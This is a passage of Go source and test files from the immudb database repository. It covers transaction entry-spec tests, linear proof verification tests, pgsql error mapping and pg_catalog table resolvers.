tx.Entries)\n\t\trequire.Len(t, tx.KvEntries, 2)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\trequire.Equal(t, []byte(\"key1\"), tx.KvEntries[0].Key)\n\t\trequire.Equal(t, []byte(\"value1\"), tx.KvEntries[0].Value)\n\n\t\trequire.Equal(t, []byte(\"key1\"), tx.KvEntries[1].Key)\n\t\trequire.Equal(t, []byte(\"value1\"), tx.KvEntries[1].Value)\n\t\trequire.NotNil(t, tx.KvEntries[1].ReferencedBy)\n\t\trequire.Equal(t, []byte(\"ref1\"), tx.KvEntries[1].ReferencedBy.Key)\n\t})\n\n\tt.Run(\"only resolved zentries should be returned\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx: hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_EXCLUDE,\n\t\t\t\t\t},\n\t\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_RESOLVE,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Len(t, tx.ZEntries, 1)\n\n\t\trequire.Equal(t, []byte(\"set1\"), tx.ZEntries[0].Set)\n\t\trequire.Equal(t, []byte(\"key1\"), tx.ZEntries[0].Key)\n\t\trequire.Equal(t, float64(10), tx.ZEntries[0].Score)\n\t})\n\n\tt.Run(\"all entries should be excluded\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx: hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_EXCLUDE,\n\t\t\t\t\t},\n\t\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_EXCLUDE,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\t})\n\n\tt.Run(\"all entries should be unresolved if no spec is provided\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{Tx: hdr.Id})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, tx.Entries, 3)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\t})\n\n\tt.Run(\"no entries should be returned if an empty spec is provided\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx:          hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\t})\n\n\tt.Run(\"all kv entries should be unresolved but including the raw value\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx: hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_RAW_VALUE,\n\t\t\t\t\t},\n\t\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_EXCLUDE,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, tx.Entries, 2)\n\t\trequire.Empty(t, tx.KvEntries)\n\t\trequire.Empty(t, tx.ZEntries)\n\n\t\tfor _, e := range tx.Entries {\n\t\t\trequire.Equal(t, int(e.VLen), len(e.Value))\n\n\t\t\thval := sha256.Sum256(e.Value)\n\t\t\trequire.Equal(t, e.HValue, hval[:])\n\t\t}\n\t})\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/verification_long_linear_proof_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\ntype stateServiceMock struct {\n\tcl           sync.Mutex\n\tm            sync.RWMutex\n\tstate        *schema.ImmutableState\n\tstateHistory map[uint64]*schema.ImmutableState\n}\n\nvar _ state.StateService = (*stateServiceMock)(nil)\n\nfunc newServiceStateMock() *stateServiceMock {\n\treturn &stateServiceMock{\n\t\tstate:        &schema.ImmutableState{TxId: 0},\n\t\tstateHistory: make(map[uint64]*schema.ImmutableState),\n\t}\n}\n\nfunc (ssm *stateServiceMock) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) {\n\tssm.m.RLock()\n\tdefer ssm.m.RUnlock()\n\n\treturn ssm.state, nil\n}\n\nfunc (ssm *stateServiceMock) SetState(db string, state *schema.ImmutableState) error {\n\tssm.m.Lock()\n\tdefer ssm.m.Unlock()\n\n\tssm.state = state\n\tssm.stateHistory[state.TxId] = state\n\treturn nil\n}\n\nfunc (ssm *stateServiceMock) CacheLock() error {\n\tssm.cl.Lock()\n\treturn nil\n}\n\nfunc (ssm *stateServiceMock) CacheUnlock() error {\n\tssm.cl.Unlock()\n\treturn nil\n}\n\nfunc (ssm *stateServiceMock) SetServerIdentity(identity string) {}\n\ntype clientProxyRemovingLinearAdvanceProof struct {\n\tschema.ImmuServiceClient\n}\n\nfunc (mock *clientProxyRemovingLinearAdvanceProof) VerifiableTxById(\n\tctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption,\n) (\n\t*schema.VerifiableTx, error,\n) {\n\tret, err := mock.ImmuServiceClient.VerifiableTxById(ctx, in)\n\tif ret != nil && ret.DualProof != nil {\n\t\t// Cleanup the linear advance proof so that it gets regenerated\n\t\tret.DualProof.LinearAdvanceProof = nil\n\t}\n\treturn ret, err\n}\n\nfunc TestLongLinearProofVerification(t *testing.T) {\n\t// Start the server with transaction data containing long linear proof\n\tdir := t.TempDir()\n\tcopier := fs.NewStandardCopier()\n\trequire.NoError(t, copier.CopyDir(\"../../test/data_long_linear_proof\", filepath.Join(dir, \"defaultdb\")))\n\n\toptions := server.DefaultOptions().WithDir(dir)\n\tbs := servertest.NewBufconnServer(options)\n\n\terr := bs.Start()\n\trequire.NoError(t, err)\n\tdefer bs.Stop()\n\n\tcl, err := bs.NewAuthenticatedClient(client.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tdefer cl.CloseSession(context.Background())\n\n\t// Inject our custom state service to have insight into the state values\n\tssm := newServiceStateMock()\n\tcl.WithStateService(ssm)\n\n\tconst txCount = 30\n\n\tt.Run(\"verify server data\", func(t *testing.T) {\n\t\tsc := cl.GetServiceClient()\n\n\t\tst, err := sc.CurrentState(context.Background(), &emptypb.Empty{})\n\t\trequire.NoError(t, err)\n\t\trequire.EqualValues(t, txCount, st.TxId)\n\n\t\tt.Run(\"transactions 1-10 do not use linear proof longer than 1\", func(t *testing.T) {\n\t\t\tfor txID := uint64(1); txID <= 10; txID++ {\n\t\t\t\ttx, err := sc.TxById(context.Background(), &schema.TxRequest{\n\t\t\t\t\tTx: txID,\n\t\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, txID-1, tx.Header.BlTxId)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"transactions 11-20 use long linear proof\", func(t *testing.T) {\n\t\t\tfor txID := uint64(11); txID <= 20; txID++ {\n\t\t\t\ttx, err := sc.TxById(context.Background(), &schema.TxRequest{\n\t\t\t\t\tTx: txID,\n\t\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.EqualValues(t, 10, tx.Header.BlTxId)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"transactions 21-30 do not use linear proof longer than 1\", func(t *testing.T) {\n\t\t\tfor txID := uint64(21); txID <= txCount; txID++ {\n\t\t\t\ttx, err := sc.TxById(context.Background(), &schema.TxRequest{\n\t\t\t\t\tTx: txID,\n\t\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Equal(t, txID-1, tx.Header.BlTxId)\n\t\t\t}\n\t\t})\n\t})\n\n\tt.Run(\"get all transaction states\", func(t *testing.T) {\n\t\tfor txID := uint64(1); txID <= txCount; txID++ {\n\t\t\t_, err = cl.VerifiedTxByID(context.Background(), txID)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Contains(t, ssm.stateHistory, txID)\n\t\t}\n\t\trequire.Len(t, ssm.stateHistory, txCount)\n\t})\n\n\tt.Run(\"Exhaustive consistency proof\", func(t *testing.T) {\n\n\t\tt.Run(\"server-generated linear advance proof\", func(t *testing.T) {\n\t\t\tfor i := uint64(1); i <= txCount; i++ {\n\t\t\t\tfor j := i; j <= txCount; j++ {\n\t\t\t\t\tssm.state = ssm.stateHistory[i]\n\n\t\t\t\t\t_, err = cl.VerifiedTxByID(context.Background(), j)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.EqualValues(t, j, ssm.state.TxId)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"client-reconstructed linear advance proof\", func(t *testing.T) {\n\n\t\t\tscl := cl.GetServiceClient()\n\t\t\t// Mock service client that removes linear advance proofs\n\t\t\t// that will mimic the behavior of older servers\n\t\t\tcl.WithServiceClient(&clientProxyRemovingLinearAdvanceProof{ImmuServiceClient: scl})\n\n\t\t\tfor i := uint64(1); i <= txCount; i++ {\n\t\t\t\tfor j := i + 5; j <= txCount; j++ {\n\n\t\t\t\t\tssm.state = ssm.stateHistory[i]\n\n\t\t\t\t\t_, err = cl.VerifiedTxByID(context.Background(), j)\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t\trequire.EqualValues(t, j, ssm.state.TxId)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t})\n\n}\n"
  },
  {
    "path": "pkg/pgsql/errors/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\tbm \"github.com/codenotary/immudb/pkg/pgsql/server/bmessages\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/server/pgmeta\"\n)\n\nvar ErrUnknowMessageType = errors.New(\"found an unknown message type on the wire\")\nvar ErrDBNotprovided = errors.New(\"database name not provided\")\nvar ErrUsernameNotprovided = errors.New(\"user name not provided\")\nvar ErrPwNotprovided = errors.New(\"password not provided\")\nvar ErrDBNotExists = errors.New(\"selected db doesn't exists\")\nvar ErrInvalidUsernameOrPassword = errors.New(\"invalid user name or password\")\nvar ErrExpectedQueryMessage = errors.New(\"expected query message\")\nvar ErrUseDBStatementNotSupported = errors.New(\"SQL statement not supported\")\nvar ErrSSLNotSupported = errors.New(\"SSL not supported\")\nvar ErrMaxStmtNumberExceeded = errors.New(\"maximum number of statements in a single query exceeded\")\nvar ErrMessageCannotBeHandledInternally = errors.New(\"message cannot be handled internally\")\nvar ErrMaxParamsNumberExceeded = errors.New(\"number of parameters exceeded the maximum limit\")\nvar ErrParametersValueSizeTooLarge = errors.New(\"provided parameters exceeded the maximum allowed size limit\")\nvar ErrNegativeParameterValueLen = errors.New(\"negative parameter length detected\")\nvar ErrMalformedMessage = errors.New(\"malformed message detected\")\nvar ErrMessageTooLarge = errors.New(\"payload message hit allowed memory boundaries\")\n\nfunc MapPgError(err error) (er bm.ErrorResp) {\n\tswitch {\n\tcase errors.Is(err, ErrDBNotprovided):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrRejectedEstablishmentOfSqlconnection),\n\t\t\tbm.Message(ErrDBNotprovided.Error()),\n\t\t\tbm.Hint(\"please provide a valid database name or use immuclient to create a new one\"),\n\t\t)\n\tcase errors.Is(err, ErrDBNotExists):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrRejectedEstablishmentOfSqlconnection),\n\t\t\tbm.Message(ErrDBNotExists.Error()),\n\t\t\tbm.Hint(\"please provide a valid database name or use immuclient to create a new one\"),\n\t\t)\n\tcase strings.Contains(err.Error(), \"syntax error\"):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrSyntaxError),\n\t\t\tbm.Message(err.Error()),\n\t\t)\n\tcase strings.Contains(err.Error(), ErrUnknowMessageType.Error()):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrProtocolViolation),\n\t\t\tbm.Message(err.Error()),\n\t\t\tbm.Hint(\"submitted message is not yet implemented\"),\n\t\t)\n\tcase errors.Is(err, ErrSSLNotSupported):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrConnectionFailure),\n\t\t\tbm.Message(err.Error()),\n\t\t\tbm.Hint(\"launch immudb with a certificate and a private key\"),\n\t\t)\n\tcase errors.Is(err, ErrMaxStmtNumberExceeded):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrSyntaxError),\n\t\t\tbm.Message(err.Error()),\n\t\t\tbm.Hint(\"at the moment is possible to receive only 1 statement. Please split query or use a single statement\"),\n\t\t)\n\tcase errors.Is(err, ErrParametersValueSizeTooLarge):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.DataException),\n\t\t\tbm.Message(err.Error()),\n\t\t)\n\tcase errors.Is(err, ErrNegativeParameterValueLen):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.DataException),\n\t\t\tbm.Message(err.Error()),\n\t\t)\n\tcase errors.Is(err, ErrMalformedMessage):\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Code(pgmeta.PgServerErrProtocolViolation),\n\t\t\tbm.Message(err.Error()),\n\t\t)\n\tdefault:\n\t\ter = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError),\n\t\t\tbm.Message(err.Error()),\n\t\t)\n\t}\n\treturn er\n}\n"
  },
  {
    "path": "pkg/pgsql/errors/errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMapPgError(t *testing.T) {\n\terr := ErrUnknowMessageType\n\tbe := MapPgError(err)\n\trequire.NotNil(t, be)\n\terr = ErrMaxStmtNumberExceeded\n\tbe = MapPgError(err)\n\trequire.NotNil(t, be)\n\trequire.NotNil(t, be)\n\terr = ErrParametersValueSizeTooLarge\n\tbe = MapPgError(err)\n\trequire.NotNil(t, be)\n\terr = ErrNegativeParameterValueLen\n\tbe = MapPgError(err)\n\trequire.NotNil(t, be)\n\terr = ErrMalformedMessage\n\tbe = MapPgError(err)\n\trequire.NotNil(t, be)\n}\n"
  },
  {
    "path": "pkg/pgsql/pgschema/resolvers_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage pgschema\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupEngine(t *testing.T, multiDBHandler sql.MultiDBHandler) *sql.Engine {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { st.Close() })\n\n\topts := sql.DefaultOptions().\n\t\tWithTableResolvers(PgCatalogResolvers()...)\n\tif multiDBHandler != nil {\n\t\topts = opts.WithMultiDBHandler(multiDBHandler)\n\t}\n\n\tengine, err := sql.NewEngine(st, opts)\n\trequire.NoError(t, err)\n\treturn engine\n}\n\nfunc TestQueryPgCatalogTables(t *testing.T) {\n\tengine := setupEngine(t, &mockMultiDBHandler{\n\t\tusers: []sql.User{\n\t\t\t&user{username: \"immudb\", perm: sql.PermissionSysAdmin},\n\t\t},\n\t})\n\n\t_, _, err := engine.Exec(context.Background(),\n\t\tnil,\n\t\t`CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)`,\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tres, err := engine.Query(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`SELECT n.nspname as \"Schema\",\n\t\t\tc.relname as \"Name\",\n\t\t\tCASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'm' THEN 'materialized view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 't' THEN 'TOAST table' WHEN 'f' THEN 'foreign table' WHEN 'p' THEN 'partitioned table' WHEN 'I' THEN 'partitioned index' END as \"Type\",\n\t\t\tpg_get_userbyid(c.relowner) as \"Owner\"\n\t\t\tFROM pg_class c\n\t\t\t\tLEFT JOIN pg_namespace n ON n.oid = c.relnamespace\n\t\t\tWHERE c.relkind IN ('r','p','')\n\t\t\t\tAND n.nspname <> 'pg_catalog'\n\t\t\t\tAND n.nspname !~ '^pg_toast'\n\t\t\t\tAND n.nspname <> 'information_schema'\n\t\t\tAND pg_table_is_visible(c.oid)\n\t\t\tORDER BY 1,2;`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\tdefer res.Close()\n\n\trow, err := res.Read(context.Background())\n\trequire.NoError(t, err)\n\n\tname, _ := row.ValuesBySelector[sql.EncodeSelector(\"\", \"c\", \"name\")].RawValue().(string)\n\towner, _ := row.ValuesBySelector[sql.EncodeSelector(\"\", \"c\", \"owner\")].RawValue().(string)\n\trelType, _ := row.ValuesBySelector[sql.EncodeSelector(\"\", \"c\", \"type\")].RawValue().(string)\n\tschema := row.ValuesBySelector[sql.EncodeSelector(\"\", \"n\", \"schema\")].RawValue()\n\n\trequire.Equal(t, \"table1\", name)\n\trequire.Equal(t, \"immudb\", owner)\n\trequire.Equal(t, \"table\", relType)\n\trequire.Nil(t, schema)\n}\n\nfunc TestQueryPgRolesTable(t *testing.T) {\n\tengine := setupEngine(t, &mockMultiDBHandler{\n\t\tusers: []sql.User{\n\t\t\t&user{username: \"immudb\", perm: sql.PermissionSysAdmin},\n\t\t\t&user{username: \"user1\", perm: sql.PermissionReadWrite},\n\t\t},\n\t})\n\n\trows, err := engine.Query(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`\n\t\tSELECT r.rolname, r.rolsuper, r.rolinherit,\n\t\t\tr.rolcreaterole, r.rolcreatedb, r.rolcanlogin,\n\t\t\tr.rolconnlimit, r.rolvaliduntil, r.rolreplication,\n\t\t\tr.rolbypassrls\n\n\t\tFROM pg_roles r\n\t\tWHERE r.rolname !~ '^pg_'\n\t\tORDER BY 1;`,\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\trow, err := rows.Read(context.Background())\n\trequire.NoError(t, err)\n\n\tname, _ := row.ValuesBySelector[sql.EncodeSelector(\"\", \"r\", \"rolname\")].RawValue().(string)\n\trequire.Equal(t, \"immudb\", name)\n\n\troleSuper, _ := row.ValuesBySelector[sql.EncodeSelector(\"\", \"r\", \"rolsuper\")].RawValue().(bool)\n\trequire.True(t, roleSuper)\n\n\trow, err = rows.Read(context.Background())\n\trequire.NoError(t, err)\n\n\tname, _ = row.ValuesBySelector[sql.EncodeSelector(\"\", \"r\", \"rolname\")].RawValue().(string)\n\trequire.Equal(t, \"user1\", name)\n\n\troleSuper, _ = row.ValuesBySelector[sql.EncodeSelector(\"\", \"r\", \"rolsuper\")].RawValue().(bool)\n\trequire.False(t, roleSuper)\n}\n\ntype mockMultiDBHandler struct {\n\tsql.MultiDBHandler\n\n\tusers []sql.User\n}\n\ntype user struct {\n\tusername string\n\tperm     sql.Permission\n}\n\nfunc (u *user) Username() string {\n\treturn u.username\n}\n\nfunc (u *user) Permission() sql.Permission {\n\treturn u.perm\n}\n\nfunc (u *user) SQLPrivileges() []sql.SQLPrivilege {\n\treturn []sql.SQLPrivilege{sql.SQLPrivilegeCreate, sql.SQLPrivilegeSelect}\n}\n\nfunc (h *mockMultiDBHandler) ListUsers(ctx context.Context) ([]sql.User, error) {\n\treturn h.users, nil\n}\n\nfunc (h *mockMultiDBHandler) GetLoggedUser(ctx context.Context) (sql.User, error) {\n\tif len(h.users) == 0 {\n\t\treturn nil, fmt.Errorf(\"no logged user\")\n\t}\n\treturn h.users[0], nil\n}\n"
  },
  {
    "path": "pkg/pgsql/pgschema/table_resolvers.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage pgschema\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n)\n\nvar pgClassCols = []sql.ColDescriptor{\n\t{\n\t\tColumn: \"oid\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"relname\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\t\tColumn: \"relnamespace\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"reltype\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\n\t\tColumn: \"reloftype\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relowner\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relam\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relfilenode\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"reltablespace\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relpages\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"reltuples\",\n\t\tType:   sql.Float64Type,\n\t},\n\t{\n\n\t\tColumn: \"relallvisible\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"reltoastrelid\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relhasindex\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relisshared\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relpersistence\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\n\t\tColumn: \"relkind\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\n\t\tColumn: \"relnats\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relchecks\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\n\t\tColumn: \"relhasrules\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relhastriggers\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relhassubclass\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relrowsecurity\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\n\t\tColumn: \"relforcerowsecurity\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"relispopulated\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"relreplident\",\n\t\tType:   sql.VarcharType,\n\t},\n\t{\n\t\tColumn: \"relispartition\",\n\t\tType:   sql.BooleanType,\n\t},\n\t{\n\t\tColumn: \"relrewrite\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"relfrozenxid\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"relminmxid\",\n\t\tType:   sql.IntegerType,\n\t},\n\t{\n\t\tColumn: \"relacl\",\n\t\tType:   sql.AnyType,\n\t},\n\t{\n\t\tColumn: \"reloptions\",\n\t\tType:   sql.AnyType,\n\t},\n\t{\n\t\tColumn: \"relpartbound\",\n\t\tType:   sql.AnyType,\n\t},\n}\n\ntype pgClassResolver struct{}\n\nfunc (r *pgClassResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) {\n\tcatalog := tx.Catalog()\n\ttables := catalog.GetTables()\n\n\trows := make([][]sql.ValueExp, len(tables))\n\tfor i, t := range tables {\n\t\trows[i] = []sql.ValueExp{\n\t\t\tsql.NewInteger(int64(t.ID())),        // oid\n\t\t\tsql.NewVarchar(t.Name()),             // relname\n\t\t\tsql.NewInteger(-1),                   // relnamespace\n\t\t\tsql.NewVarchar(\"\"),                   // reltype\n\t\t\tsql.NewNull(sql.IntegerType),         // reloftype\n\t\t\tsql.NewInteger(0),                    // relowner\n\t\t\tsql.NewNull(sql.IntegerType),         // relam\n\t\t\tsql.NewNull(sql.IntegerType),         // relfilenode\n\t\t\tsql.NewNull(sql.IntegerType),         // reltablespace\n\t\t\tsql.NewNull(sql.IntegerType),         // relpages\n\t\t\tsql.NewNull(sql.Float64Type),         // reltuples\n\t\t\tsql.NewNull(sql.IntegerType),         // relallvisible\n\t\t\tsql.NewNull(sql.IntegerType),         // reltoastrelid\n\t\t\tsql.NewBool(len(t.GetIndexes()) > 1), // relhasindex\n\t\t\tsql.NewBool(false),                   // relisshared\n\t\t\tsql.NewNull(sql.VarcharType),         // relpersistence\n\t\t\tsql.NewVarchar(\"r\"),                  // relkind\n\t\t\tsql.NewNull(sql.IntegerType),         // relnats\n\t\t\tsql.NewNull(sql.IntegerType),         // relchecks\n\t\t\tsql.NewBool(false),                   // relhasrules\n\t\t\tsql.NewBool(false),                   // relhastriggers\n\t\t\tsql.NewBool(false),                   // relhassubclass\n\t\t\tsql.NewBool(false),                   // relrowsecurity\n\t\t\tsql.NewBool(false),                   // relforcerowsecurity\n\t\t\tsql.NewBool(false),                   // relispopulated\n\t\t\tsql.NewVarchar(\"\"),                   // relreplident\n\t\t\tsql.NewBool(false),                   // 